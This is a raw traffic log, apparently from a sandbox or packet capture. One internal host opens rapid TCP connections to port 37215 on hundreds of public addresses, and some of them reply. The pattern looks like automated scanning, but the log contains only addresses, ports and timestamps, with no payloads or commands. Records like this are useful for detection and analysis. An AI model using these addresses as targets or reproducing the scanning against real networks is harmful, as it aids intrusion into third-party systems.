Jun 10, 2024 15:37:59.932071924 CEST	37215	30401	41.65.77.99	192.168.2.13
Jun 10, 2024 15:37:59.932080984 CEST	37215	30401	156.171.46.131	192.168.2.13
Jun 10, 2024 15:37:59.932084084 CEST	30401	37215	192.168.2.13	41.16.238.254
Jun 10, 2024 15:37:59.932089090 CEST	37215	30401	41.59.186.61	192.168.2.13
Jun 10, 2024 15:37:59.932090998 CEST	30401	37215	192.168.2.13	197.149.60.7
Jun 10, 2024 15:37:59.932096958 CEST	37215	30401	156.163.247.70	192.168.2.13
Jun 10, 2024 15:37:59.932106018 CEST	30401	37215	192.168.2.13	156.171.46.131
Jun 10, 2024 15:37:59.932106018 CEST	37215	30401	156.112.73.7	192.168.2.13
Jun 10, 2024 15:37:59.932111979 CEST	30401	37215	192.168.2.13	41.65.77.99
Jun 10, 2024 15:37:59.932118893 CEST	30401	37215	192.168.2.13	41.59.186.61
Jun 10, 2024 15:37:59.932120085 CEST	37215	30401	41.120.164.192	192.168.2.13
Jun 10, 2024 15:37:59.932122946 CEST	30401	37215	192.168.2.13	156.163.247.70
Jun 10, 2024 15:37:59.932130098 CEST	37215	30401	41.34.12.157	192.168.2.13
Jun 10, 2024 15:37:59.932137966 CEST	37215	30401	156.131.86.79	192.168.2.13
Jun 10, 2024 15:37:59.932141066 CEST	30401	37215	192.168.2.13	41.120.164.192
Jun 10, 2024 15:37:59.932141066 CEST	30401	37215	192.168.2.13	156.112.73.7
Jun 10, 2024 15:37:59.932152033 CEST	30401	37215	192.168.2.13	41.34.12.157
Jun 10, 2024 15:37:59.932169914 CEST	30401	37215	192.168.2.13	156.131.86.79
Jun 10, 2024 15:37:59.932369947 CEST	37215	30401	41.42.133.1	192.168.2.13
Jun 10, 2024 15:37:59.932379007 CEST	37215	30401	41.19.208.240	192.168.2.13
Jun 10, 2024 15:37:59.932387114 CEST	37215	30401	41.113.108.10	192.168.2.13
Jun 10, 2024 15:37:59.932394981 CEST	37215	30401	156.200.236.105	192.168.2.13
Jun 10, 2024 15:37:59.932413101 CEST	37215	30401	197.166.118.183	192.168.2.13
Jun 10, 2024 15:37:59.932416916 CEST	30401	37215	192.168.2.13	156.200.236.105
Jun 10, 2024 15:37:59.932416916 CEST	30401	37215	192.168.2.13	41.19.208.240
Jun 10, 2024 15:37:59.932419062 CEST	30401	37215	192.168.2.13	41.42.133.1
Jun 10, 2024 15:37:59.932421923 CEST	37215	30401	41.77.125.16	192.168.2.13
Jun 10, 2024 15:37:59.932424068 CEST	30401	37215	192.168.2.13	41.113.108.10
Jun 10, 2024 15:37:59.932430983 CEST	37215	30401	41.120.128.38	192.168.2.13
Jun 10, 2024 15:37:59.932439089 CEST	37215	30401	197.58.128.241	192.168.2.13
Jun 10, 2024 15:37:59.932446957 CEST	37215	30401	41.140.234.6	192.168.2.13
Jun 10, 2024 15:37:59.932456017 CEST	37215	30401	156.21.3.180	192.168.2.13
Jun 10, 2024 15:37:59.932459116 CEST	30401	37215	192.168.2.13	197.166.118.183
Jun 10, 2024 15:37:59.932460070 CEST	30401	37215	192.168.2.13	41.120.128.38
Jun 10, 2024 15:37:59.932461023 CEST	30401	37215	192.168.2.13	41.77.125.16
Jun 10, 2024 15:37:59.932463884 CEST	37215	49110	156.143.243.166	192.168.2.13
Jun 10, 2024 15:37:59.932466030 CEST	30401	37215	192.168.2.13	197.58.128.241
Jun 10, 2024 15:37:59.932472944 CEST	37215	49886	156.143.243.166	192.168.2.13
Jun 10, 2024 15:37:59.932480097 CEST	30401	37215	192.168.2.13	41.140.234.6
Jun 10, 2024 15:37:59.932497025 CEST	30401	37215	192.168.2.13	156.21.3.180
Jun 10, 2024 15:37:59.932497978 CEST	38350	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.932499886 CEST	49886	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:59.932521105 CEST	37215	60882	41.1.16.245	192.168.2.13
Jun 10, 2024 15:37:59.932533026 CEST	37215	33422	41.1.16.245	192.168.2.13
Jun 10, 2024 15:37:59.932549000 CEST	37215	55322	41.112.237.34	192.168.2.13
Jun 10, 2024 15:37:59.932563066 CEST	33422	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.933051109 CEST	53100	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.933051109 CEST	53100	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.933444023 CEST	53836	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.933965921 CEST	56460	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.933965921 CEST	56460	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.934375048 CEST	57192	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.934919119 CEST	56378	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.934919119 CEST	56378	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.934978962 CEST	37215	56090	41.112.237.34	192.168.2.13
Jun 10, 2024 15:37:59.934988976 CEST	37215	60470	156.57.11.197	192.168.2.13
Jun 10, 2024 15:37:59.935024023 CEST	56090	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:59.935334921 CEST	57106	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.935353994 CEST	37215	33002	156.57.11.197	192.168.2.13
Jun 10, 2024 15:37:59.935364008 CEST	37215	44436	156.190.41.183	192.168.2.13
Jun 10, 2024 15:37:59.935389042 CEST	33002	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:59.935682058 CEST	37215	45196	156.190.41.183	192.168.2.13
Jun 10, 2024 15:37:59.935715914 CEST	45196	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:59.935832024 CEST	37215	33064	41.251.69.196	192.168.2.13
Jun 10, 2024 15:37:59.935899973 CEST	38508	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.935899973 CEST	38508	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.936089039 CEST	37215	33820	41.251.69.196	192.168.2.13
Jun 10, 2024 15:37:59.936129093 CEST	33820	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:59.936258078 CEST	37215	41114	156.18.195.164	192.168.2.13
Jun 10, 2024 15:37:59.936305046 CEST	39232	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.936553001 CEST	37215	41866	156.18.195.164	192.168.2.13
Jun 10, 2024 15:37:59.936570883 CEST	37215	45682	41.117.101.224	192.168.2.13
Jun 10, 2024 15:37:59.936589003 CEST	41866	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:59.936805964 CEST	37215	46434	41.117.101.224	192.168.2.13
Jun 10, 2024 15:37:59.936836958 CEST	47918	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.936844110 CEST	46434	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:59.936849117 CEST	47918	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.937263012 CEST	48638	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.937283039 CEST	37215	33796	156.205.253.53	192.168.2.13
Jun 10, 2024 15:37:59.937555075 CEST	37215	34544	156.205.253.53	192.168.2.13
Jun 10, 2024 15:37:59.937601089 CEST	34544	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:59.937774897 CEST	51088	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.937774897 CEST	51088	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.938011885 CEST	37215	32834	156.249.70.243	192.168.2.13
Jun 10, 2024 15:37:59.938021898 CEST	37215	33578	156.249.70.243	192.168.2.13
Jun 10, 2024 15:37:59.938052893 CEST	33578	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:59.938196898 CEST	51804	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.938421011 CEST	37215	37610	156.89.39.231	192.168.2.13
Jun 10, 2024 15:37:59.938431025 CEST	37215	38350	156.89.39.231	192.168.2.13
Jun 10, 2024 15:37:59.938466072 CEST	38350	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:59.938570023 CEST	37215	53100	41.97.23.92	192.168.2.13
Jun 10, 2024 15:37:59.938587904 CEST	37215	53836	41.97.23.92	192.168.2.13
Jun 10, 2024 15:37:59.938616037 CEST	53836	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:59.938714981 CEST	45636	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.938714981 CEST	45636	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.938870907 CEST	37215	56460	156.32.132.93	192.168.2.13
Jun 10, 2024 15:37:59.939121008 CEST	46348	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.939249992 CEST	37215	57192	156.32.132.93	192.168.2.13
Jun 10, 2024 15:37:59.939287901 CEST	57192	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:59.939522982 CEST	56768	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.939533949 CEST	56768	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.939841986 CEST	37215	56378	156.60.90.199	192.168.2.13
Jun 10, 2024 15:37:59.939846039 CEST	57476	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.940170050 CEST	37215	57106	156.60.90.199	192.168.2.13
Jun 10, 2024 15:37:59.940202951 CEST	57106	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:59.940258026 CEST	49626	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.940258026 CEST	49626	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.940583944 CEST	50332	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.940721989 CEST	37215	38508	156.67.226.82	192.168.2.13
Jun 10, 2024 15:37:59.941005945 CEST	33514	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.941005945 CEST	33514	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.941117048 CEST	37215	39232	156.67.226.82	192.168.2.13
Jun 10, 2024 15:37:59.941157103 CEST	39232	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:59.941318035 CEST	34216	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.941699028 CEST	37215	47918	197.192.210.171	192.168.2.13
Jun 10, 2024 15:37:59.941715002 CEST	41282	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.941715002 CEST	41282	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.942043066 CEST	41982	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.942087889 CEST	37215	48638	197.192.210.171	192.168.2.13
Jun 10, 2024 15:37:59.942126989 CEST	48638	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:59.942478895 CEST	55606	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.942480087 CEST	55606	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.942650080 CEST	37215	51088	156.185.143.113	192.168.2.13
Jun 10, 2024 15:37:59.942806005 CEST	56302	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.942996025 CEST	37215	51804	156.185.143.113	192.168.2.13
Jun 10, 2024 15:37:59.943030119 CEST	51804	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:59.943219900 CEST	34092	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.943233967 CEST	34092	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.943542004 CEST	37215	45636	197.11.121.199	192.168.2.13
Jun 10, 2024 15:37:59.943556070 CEST	34784	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.943938971 CEST	37215	46348	197.11.121.199	192.168.2.13
Jun 10, 2024 15:37:59.943965912 CEST	60614	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.943965912 CEST	60614	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.943978071 CEST	46348	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:59.944281101 CEST	33070	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.944374084 CEST	37215	56768	41.92.127.129	192.168.2.13
Jun 10, 2024 15:37:59.944650888 CEST	37215	57476	41.92.127.129	192.168.2.13
Jun 10, 2024 15:37:59.944688082 CEST	57476	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:59.944688082 CEST	46644	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.944699049 CEST	46644	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.945005894 CEST	47328	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.945209980 CEST	37215	49626	197.53.161.229	192.168.2.13
Jun 10, 2024 15:37:59.945411921 CEST	53768	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.945411921 CEST	53768	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.945415020 CEST	37215	50332	197.53.161.229	192.168.2.13
Jun 10, 2024 15:37:59.945451975 CEST	50332	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:59.945727110 CEST	54448	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.945852995 CEST	37215	33514	156.78.13.161	192.168.2.13
Jun 10, 2024 15:37:59.946134090 CEST	33492	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.946146965 CEST	33492	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.946182966 CEST	37215	34216	156.78.13.161	192.168.2.13
Jun 10, 2024 15:37:59.946218967 CEST	34216	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:59.946448088 CEST	34170	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.946537018 CEST	37215	41282	156.97.36.34	192.168.2.13
Jun 10, 2024 15:37:59.946835995 CEST	53482	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.946835995 CEST	53482	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.946966887 CEST	37215	41982	156.97.36.34	192.168.2.13
Jun 10, 2024 15:37:59.947005987 CEST	41982	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:59.947135925 CEST	54156	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.947305918 CEST	37215	55606	197.142.203.17	192.168.2.13
Jun 10, 2024 15:37:59.947535038 CEST	39894	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.947546005 CEST	39894	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.947669983 CEST	37215	56302	197.142.203.17	192.168.2.13
Jun 10, 2024 15:37:59.947702885 CEST	56302	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:59.947860003 CEST	40566	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.948153973 CEST	37215	34092	41.30.124.178	192.168.2.13
Jun 10, 2024 15:37:59.948276043 CEST	46442	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.948293924 CEST	46442	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.948419094 CEST	37215	34784	41.30.124.178	192.168.2.13
Jun 10, 2024 15:37:59.948462009 CEST	34784	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:59.948610067 CEST	47110	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.948786974 CEST	37215	60614	156.10.20.117	192.168.2.13
Jun 10, 2024 15:37:59.948996067 CEST	42108	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.948996067 CEST	42108	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.949137926 CEST	37215	33070	156.10.20.117	192.168.2.13
Jun 10, 2024 15:37:59.949174881 CEST	33070	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:59.949312925 CEST	42772	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.949529886 CEST	37215	46644	156.79.10.64	192.168.2.13
Jun 10, 2024 15:37:59.949732065 CEST	59100	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.949753046 CEST	59100	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.949825048 CEST	37215	47328	156.79.10.64	192.168.2.13
Jun 10, 2024 15:37:59.949865103 CEST	47328	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:59.950094938 CEST	59760	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.950423956 CEST	37215	53768	156.31.27.232	192.168.2.13
Jun 10, 2024 15:37:59.950532913 CEST	38960	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.950532913 CEST	38960	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.950608015 CEST	37215	54448	156.31.27.232	192.168.2.13
Jun 10, 2024 15:37:59.950656891 CEST	54448	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:59.950881958 CEST	39616	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.950968027 CEST	37215	33492	197.125.224.191	192.168.2.13
Jun 10, 2024 15:37:59.951304913 CEST	37215	34170	197.125.224.191	192.168.2.13
Jun 10, 2024 15:37:59.951337099 CEST	38428	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.951347113 CEST	34170	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:59.951364994 CEST	38428	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.951708078 CEST	39080	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.951806068 CEST	37215	53482	156.82.1.213	192.168.2.13
Jun 10, 2024 15:37:59.951981068 CEST	37215	54156	156.82.1.213	192.168.2.13
Jun 10, 2024 15:37:59.952023983 CEST	54156	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:59.952157974 CEST	58850	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.952173948 CEST	58850	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.952387094 CEST	37215	39894	197.56.205.250	192.168.2.13
Jun 10, 2024 15:37:59.952514887 CEST	59500	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.952693939 CEST	37215	40566	197.56.205.250	192.168.2.13
Jun 10, 2024 15:37:59.952739954 CEST	40566	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:59.952964067 CEST	56508	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.952964067 CEST	56508	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.953145027 CEST	37215	46442	156.98.83.218	192.168.2.13
Jun 10, 2024 15:37:59.953310013 CEST	57154	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.953393936 CEST	37215	47110	156.98.83.218	192.168.2.13
Jun 10, 2024 15:37:59.953439951 CEST	47110	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:59.953763962 CEST	58684	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.953763962 CEST	58684	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.953897953 CEST	37215	42108	197.215.149.213	192.168.2.13
Jun 10, 2024 15:37:59.954103947 CEST	59328	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.954150915 CEST	37215	42772	197.215.149.213	192.168.2.13
Jun 10, 2024 15:37:59.954186916 CEST	42772	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:59.954561949 CEST	33990	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.954561949 CEST	33990	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.954622984 CEST	37215	59100	156.216.173.116	192.168.2.13
Jun 10, 2024 15:37:59.954904079 CEST	34630	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.954952955 CEST	37215	59760	156.216.173.116	192.168.2.13
Jun 10, 2024 15:37:59.954987049 CEST	59760	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:59.955351114 CEST	36294	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.955352068 CEST	36294	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.955396891 CEST	37215	38960	41.86.126.31	192.168.2.13
Jun 10, 2024 15:37:59.955682039 CEST	36930	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.955730915 CEST	37215	39616	41.86.126.31	192.168.2.13
Jun 10, 2024 15:37:59.955771923 CEST	39616	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:59.956134081 CEST	38414	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.956134081 CEST	38414	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.956178904 CEST	37215	38428	197.123.58.130	192.168.2.13
Jun 10, 2024 15:37:59.956475019 CEST	39046	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.956579924 CEST	37215	39080	197.123.58.130	192.168.2.13
Jun 10, 2024 15:37:59.956619978 CEST	39080	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:59.956929922 CEST	39354	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.956929922 CEST	39354	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.957113981 CEST	37215	58850	41.119.93.57	192.168.2.13
Jun 10, 2024 15:37:59.957304955 CEST	39982	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.957372904 CEST	37215	59500	41.119.93.57	192.168.2.13
Jun 10, 2024 15:37:59.957417965 CEST	59500	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:59.957760096 CEST	51050	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.957760096 CEST	51050	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.957820892 CEST	37215	56508	197.35.253.5	192.168.2.13
Jun 10, 2024 15:37:59.958240986 CEST	37215	57154	197.35.253.5	192.168.2.13
Jun 10, 2024 15:37:59.958255053 CEST	51674	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.958281994 CEST	57154	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:59.958647013 CEST	37215	58684	197.252.226.228	192.168.2.13
Jun 10, 2024 15:37:59.958704948 CEST	44164	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.958704948 CEST	44164	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.959045887 CEST	44786	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.959055901 CEST	37215	59328	197.252.226.228	192.168.2.13
Jun 10, 2024 15:37:59.959094048 CEST	59328	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:59.959523916 CEST	47272	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.959525108 CEST	47272	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.959569931 CEST	37215	33990	41.196.189.226	192.168.2.13
Jun 10, 2024 15:37:59.959805965 CEST	37215	34630	41.196.189.226	192.168.2.13
Jun 10, 2024 15:37:59.959849119 CEST	34630	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:59.959903002 CEST	47890	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.960374117 CEST	56034	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.960374117 CEST	56034	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.960580111 CEST	37215	36294	41.12.156.197	192.168.2.13
Jun 10, 2024 15:37:59.960717916 CEST	56650	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.960810900 CEST	37215	36930	41.12.156.197	192.168.2.13
Jun 10, 2024 15:37:59.960851908 CEST	36930	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:59.961132050 CEST	37215	38414	156.167.122.41	192.168.2.13
Jun 10, 2024 15:37:59.961213112 CEST	42564	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.961213112 CEST	42564	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.961503983 CEST	37215	39046	156.167.122.41	192.168.2.13
Jun 10, 2024 15:37:59.961545944 CEST	39046	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:59.961577892 CEST	43176	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.961797953 CEST	37215	39354	41.113.11.68	192.168.2.13
Jun 10, 2024 15:37:59.962047100 CEST	56114	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.962047100 CEST	56114	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.962236881 CEST	37215	39982	41.113.11.68	192.168.2.13
Jun 10, 2024 15:37:59.962276936 CEST	39982	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:59.962423086 CEST	56722	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.962677002 CEST	37215	51050	41.41.95.201	192.168.2.13
Jun 10, 2024 15:37:59.962891102 CEST	58138	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.962892056 CEST	58138	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.963130951 CEST	37215	51674	41.41.95.201	192.168.2.13
Jun 10, 2024 15:37:59.963171959 CEST	51674	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:59.963274002 CEST	58742	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.963615894 CEST	37215	44164	41.26.2.2	192.168.2.13
Jun 10, 2024 15:37:59.963759899 CEST	46788	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.963759899 CEST	46788	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.963948011 CEST	37215	44786	41.26.2.2	192.168.2.13
Jun 10, 2024 15:37:59.963990927 CEST	44786	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:59.964121103 CEST	47388	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.964498997 CEST	37215	47272	41.201.89.180	192.168.2.13
Jun 10, 2024 15:37:59.964617968 CEST	54370	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.964634895 CEST	54370	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.964772940 CEST	37215	47890	41.201.89.180	192.168.2.13
Jun 10, 2024 15:37:59.964816093 CEST	47890	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:59.964984894 CEST	54966	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:59.965298891 CEST	37215	56034	41.66.186.65	192.168.2.13
Jun 10, 2024 15:37:59.965472937 CEST	48328	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.965472937 CEST	48328	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.965564966 CEST	37215	56650	41.66.186.65	192.168.2.13
Jun 10, 2024 15:37:59.965605974 CEST	56650	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:59.965842962 CEST	48922	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:59.966068029 CEST	37215	42564	197.27.200.127	192.168.2.13
Jun 10, 2024 15:37:59.966319084 CEST	41788	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.966319084 CEST	41788	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.966453075 CEST	37215	43176	197.27.200.127	192.168.2.13
Jun 10, 2024 15:37:59.966492891 CEST	43176	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:59.966690063 CEST	42378	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:59.966907978 CEST	37215	56114	156.237.170.76	192.168.2.13
Jun 10, 2024 15:37:59.967169046 CEST	36602	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.967169046 CEST	36602	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.967257977 CEST	37215	56722	156.237.170.76	192.168.2.13
Jun 10, 2024 15:37:59.967292070 CEST	56722	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:59.967546940 CEST	37190	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:59.967806101 CEST	37215	58138	156.59.177.15	192.168.2.13
Jun 10, 2024 15:37:59.968007088 CEST	58160	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.968008041 CEST	58160	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.968126059 CEST	37215	58742	156.59.177.15	192.168.2.13
Jun 10, 2024 15:37:59.968163013 CEST	58742	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:59.968353987 CEST	58744	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:59.968672991 CEST	37215	46788	197.91.250.61	192.168.2.13
Jun 10, 2024 15:37:59.968821049 CEST	45692	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.968821049 CEST	45692	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.968977928 CEST	37215	47388	197.91.250.61	192.168.2.13
Jun 10, 2024 15:37:59.969017982 CEST	47388	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:59.969162941 CEST	46274	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:59.969655037 CEST	49034	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:59.969655037 CEST	49034	37215	192.168.2.13	197.216.238.129
